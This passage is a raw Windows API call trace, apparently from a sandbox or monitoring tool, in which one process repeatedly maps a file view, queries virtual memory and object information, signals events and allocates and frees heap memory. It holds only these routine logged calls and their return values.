[0094.045] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0094.046] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0094.046] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0094.046] ResetEvent (hEvent=0xdc) returned 1 [0094.046] SetEvent (hEvent=0xe0) returned 1 [0094.046] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.046] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.046] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.046] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.046] ResetEvent (hEvent=0xdc) returned 1 [0094.047] SetEvent (hEvent=0xe0) returned 1 [0094.047] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.047] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.047] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.047] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.047] ResetEvent (hEvent=0xdc) returned 1 [0094.047] SetEvent (hEvent=0xe0) returned 1 [0094.047] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.048] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.048] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.048] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.048] ResetEvent (hEvent=0xdc) returned 1 [0094.048] SetEvent (hEvent=0xe0) returned 1 [0094.048] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.049] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.049] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.049] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.049] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0094.049] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0094.049] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0094.049] ResetEvent (hEvent=0xdc) returned 1 [0094.049] SetEvent (hEvent=0xe0) returned 1 [0094.049] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.050] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.050] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.050] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.050] ResetEvent (hEvent=0xdc) returned 1 [0094.050] SetEvent (hEvent=0xe0) returned 1 [0094.050] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.050] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.051] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.051] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.051] ResetEvent (hEvent=0xdc) returned 1 [0094.051] SetEvent (hEvent=0xe0) returned 1 [0094.051] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.051] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.052] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.052] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.052] ResetEvent (hEvent=0xdc) returned 1 [0094.052] SetEvent (hEvent=0xe0) returned 1 [0094.052] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.052] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.053] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.053] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.053] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0094.053] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0094.053] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0094.053] ResetEvent (hEvent=0xdc) returned 1 [0094.053] SetEvent (hEvent=0xe0) returned 1 [0094.053] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.053] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.054] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.054] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.054] ResetEvent (hEvent=0xdc) returned 1 [0094.054] SetEvent (hEvent=0xe0) returned 1 [0094.054] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.054] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.054] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.054] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.054] ResetEvent (hEvent=0xdc) returned 1 [0094.054] SetEvent (hEvent=0xe0) returned 1 [0094.055] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.055] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.055] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.055] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.055] ResetEvent (hEvent=0xdc) returned 1 [0094.055] SetEvent (hEvent=0xe0) returned 1 [0094.055] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.056] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.056] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.056] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.056] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0094.056] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0094.056] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0094.056] ResetEvent (hEvent=0xdc) returned 1 [0094.056] SetEvent (hEvent=0xe0) returned 1 [0094.056] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.057] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.057] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.057] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.057] ResetEvent (hEvent=0xdc) returned 1 [0094.057] SetEvent (hEvent=0xe0) returned 1 [0094.057] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.058] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.058] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.058] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.058] ResetEvent (hEvent=0xdc) returned 1 [0094.058] SetEvent (hEvent=0xe0) returned 1 [0094.058] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.058] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.059] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.059] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.059] ResetEvent (hEvent=0xdc) returned 1 [0094.059] SetEvent (hEvent=0xe0) returned 1 [0094.059] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.059] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.060] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.060] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.060] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0094.060] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0094.060] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0094.060] ResetEvent (hEvent=0xdc) returned 1 [0094.060] SetEvent (hEvent=0xe0) returned 1 [0094.060] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.060] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.061] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.061] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.061] ResetEvent (hEvent=0xdc) returned 1 [0094.061] SetEvent (hEvent=0xe0) returned 1 [0094.061] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.061] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.062] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.062] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.062] ResetEvent (hEvent=0xdc) returned 1 [0094.062] SetEvent (hEvent=0xe0) returned 1 [0094.062] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.062] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.063] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.063] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.063] ResetEvent (hEvent=0xdc) returned 1 [0094.063] SetEvent (hEvent=0xe0) returned 1 [0094.063] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.063] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.064] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.064] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.064] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0094.064] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0094.064] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0094.064] ResetEvent (hEvent=0xdc) returned 1 [0094.064] SetEvent (hEvent=0xe0) returned 1 [0094.064] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.064] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.065] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.065] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.065] ResetEvent (hEvent=0xdc) returned 1 [0094.065] SetEvent (hEvent=0xe0) returned 1 [0094.065] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.065] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.065] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.065] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.065] ResetEvent (hEvent=0xdc) returned 1 [0094.065] SetEvent (hEvent=0xe0) returned 1 [0094.066] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.066] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.066] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.066] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.066] ResetEvent (hEvent=0xdc) returned 1 [0094.066] SetEvent (hEvent=0xe0) returned 1 [0094.066] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.067] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.067] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.067] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.067] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0094.067] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0094.067] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0094.067] ResetEvent (hEvent=0xdc) returned 1 [0094.067] SetEvent (hEvent=0xe0) returned 1 [0094.067] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.068] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.068] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.068] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.068] ResetEvent (hEvent=0xdc) returned 1 [0094.068] SetEvent (hEvent=0xe0) returned 1 [0094.068] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.068] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.069] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.069] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.069] ResetEvent (hEvent=0xdc) returned 1 [0094.069] SetEvent (hEvent=0xe0) returned 1 [0094.069] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.069] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.070] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.070] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.070] ResetEvent (hEvent=0xdc) returned 1 [0094.070] SetEvent (hEvent=0xe0) returned 1 [0094.070] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.070] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.071] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.071] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.071] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0094.071] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0094.071] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0094.071] ResetEvent (hEvent=0xdc) returned 1 [0094.071] SetEvent (hEvent=0xe0) returned 1 [0094.071] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.071] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.072] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.072] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.072] ResetEvent (hEvent=0xdc) returned 1 [0094.072] SetEvent (hEvent=0xe0) returned 1 [0094.072] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.072] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.072] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.072] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.072] ResetEvent (hEvent=0xdc) returned 1 [0094.072] SetEvent (hEvent=0xe0) returned 1 [0094.073] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.073] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.073] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.073] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.073] ResetEvent (hEvent=0xdc) returned 1 [0094.073] SetEvent (hEvent=0xe0) returned 1 [0094.073] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.074] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.074] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.074] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.074] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0094.074] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0094.074] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0094.074] ResetEvent (hEvent=0xdc) returned 1 [0094.074] SetEvent (hEvent=0xe0) returned 1 [0094.074] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.075] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.075] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.075] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.075] ResetEvent (hEvent=0xdc) returned 1 [0094.075] SetEvent (hEvent=0xe0) returned 1 [0094.075] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.075] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.076] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.076] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.076] ResetEvent (hEvent=0xdc) returned 1 [0094.076] SetEvent (hEvent=0xe0) returned 1 [0094.076] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.076] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.077] RtlFreeHeap 